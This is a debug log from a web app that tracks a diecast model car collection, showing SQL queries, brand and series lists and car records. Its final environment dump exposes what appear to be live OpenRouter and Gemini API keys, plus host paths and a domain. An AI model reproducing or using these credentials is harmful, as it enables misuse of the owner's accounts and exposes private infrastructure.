    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T13:12:16.011Z server-connect:app Executing action step identify
2026-02-12T13:12:16.011Z server-connect:app options: { provider: 'security' }
2026-02-12T13:12:16.011Z server-connect:output identity: 1
2026-02-12T13:12:16.011Z server-connect:app Executing action step restrict
2026-02-12T13:12:16.011Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:12:16.011Z server-connect:app Executing action step identify
2026-02-12T13:12:16.012Z server-connect:app options: { provider: 'security' }
2026-02-12T13:12:16.012Z server-connect:output identity: 1
2026-02-12T13:12:16.012Z server-connect:app Executing action step restrict
2026-02-12T13:12:16.012Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:12:16.013Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-12T13:12:16.014Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-12T13:12:16.015Z server-connect:output restrict: undefined
2026-02-12T13:12:16.015Z server-connect:app Executing action step select
2026-02-12T13:12:16.015Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:12:16.016Z server-connect:output restrict: undefined
2026-02-12T13:12:16.016Z server-connect:app Executing action step select
2026-02-12T13:12:16.016Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:12:16.018Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-12T13:12:16.021Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-12T13:12:16.021Z server-connect:app Executing action step select
2026-02-12T13:12:16.021Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:12:16.024Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-12T13:12:16.025Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-12T13:12:16.026Z server-connect:app Executing action step select
2026-02-12T13:12:16.026Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:12:16.029Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-12T13:26:30.961Z server-connect:router Serving templateView /diecast-worksheet
2026-02-12T13:26:30.962Z server-connect:app Executing action step identify
2026-02-12T13:26:30.962Z server-connect:app options: { provider: 'security' }
2026-02-12T13:26:30.962Z server-connect:output identity: 1
2026-02-12T13:26:30.962Z server-connect:app Executing action step restrict
2026-02-12T13:26:30.962Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T13:26:30.964Z server-connect:output restrict: undefined
2026-02-12T13:26:30.964Z server-connect:router Render template layouts/main
2026-02-12T13:26:30.965Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
